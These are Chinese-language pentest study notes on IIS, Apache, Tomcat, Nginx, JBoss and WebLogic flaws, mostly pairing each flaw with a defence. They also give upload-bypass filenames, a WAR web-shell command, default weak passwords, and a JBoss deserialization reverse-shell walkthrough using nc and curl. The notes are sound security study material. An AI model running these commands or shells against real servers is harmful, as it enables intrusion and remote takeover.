存在目录遍历漏洞的中间件有哪些?
Iis、apache、nginx
存在war后门文件部署?
Tomcat、weblogic、jboss
iis
(1) Put漏洞(本质是任意文件上传)
原理:IIS开启了WebDAV配置了可以写入的权限,造成了任意文件上传漏洞。
防御:关闭webDAV;关闭写入权限
(2) 解析漏洞
原理:6.0版本默认将*.asp;.jpg此类格式的文件名,当成asp解析,服务器默认;后面的内容不解析,相当于截断,例如上传asp木马,就可以用xx.asp;.jpg来绕过;iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp
防御方法:
1.禁止上传和创建此类畸形文件
2.图片存放目录设置为禁止脚本执行
(3) 短文件名猜解
原理:IIS的短文件名机制,可以暴力破解文件名。访问构造某个存在的短文件,会返回404,访问构造某个不存在的短文件,会返回400。使用payload验证目标是否存在短文件漏洞,显示404时,说明存在短文件。
防御方法:1、升级.net framework
2、修改注册表键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。
命令行关闭 fsutil behavior set disable8dot3
Apache
(1) 解析漏洞(未知拓展名解析漏洞)
原理:apache默认一个文件可以有多个以点切割的后缀,当最右的后缀无法识别时,就继续向左识别,直到识别到合法后缀才开始解析,如xxx.php.qqq,qqq无法识别,就继续解析,到php时能够识别,就解析为php文件
(2) 目录遍历
原理:程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符可以是../,也可是../的ASCII编码或者是unicode编码等。
目录遍历的标志:Index of /
防御措施:修改httpd.conf文件中的参数
tomcat
(1) 弱口令+war后门文件部署
原理:tomcat如因配置不当导致未授权直接登录后台,或者由于弱口令的存在登录后台,可以在后台上传war包,我们可以将jsp代码植入到war包里面,然后访问该war包即可执行jsp代码。
war包制作命令,在jdk目录下: jav cvf shell.war 1.jsp 完成制作
同时msf的exploit/multi/http/tomcat_mgr_upload模块可以执行此操作
原理2:在tomcat-users.xml中定义了tomcat用户的信息与权限,弱口令得到后访问http://127.0.0.1:8080/manager/html,打开管理页面,输入用户名密码登录后台,用“WAR file to deploy”上传挂马。之后访问一句话木马即可。
(2) put任意文件上传
原理:tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合windows的解析漏洞,适用诸如 1.jsp%20 、 1.jsp::$DATA 则可以成功绕过检测上传成功。
注意:若是linux + tomcat5.0~9.0 ,可以上传1.jsp/绕过
nginx
(1) 文件解析漏洞
原理:用户配置不当造成的解析漏洞。由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,对于任意文件名,在后面添加/xxx.php(xxx)为任意字符后,即可将文件作为php解析。
例如:在1.jpg中写入一句话木马,上传1.jpg/xxx.PHP
防御手段:1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0
2、 php-fpm.conf中的security.limit_extensions后面的 值设置为.php
(2) 目录遍历
原理:Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。(程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符可以是../,也可是../的ASCII编码或者是unicode编码等。)
修复:将nginx.conf中的autoindex on 中的“on”改为“off”
(3) CRLF注入漏洞
原理:CRLF是”回车+换行”(rn)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
修复:修改一些配置文件
jboss
(1) 反序列化漏洞(HttpInvoker 组件(CVE-2017-12149))
原理:存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。
漏洞验证
访问/invoker/readonly,返回500,说明此页面存在反序列化漏洞
过程:
开两个终端,一个进行监听(nc -lvnp 12345),另一个发payload
curl http://192.168.50.169:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
(@不能省略)
最后,成功反弹shell
(2) 弱口令+war后门文件部署
原理:admin/admin弱口令登录后台,点击add a new resource上传war包,连马即可
防御:改强密码;删除admin-console页面
weblogic
(1) 弱口令+war后门文件部署
原理:通过弱口令(weblogic/Oracle@123)登录管理台后,点击部署,安装,上传war包
(2) 反序列化
原理:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
(3) SSRF漏洞
原理:Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。
过程:比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等脆弱组件。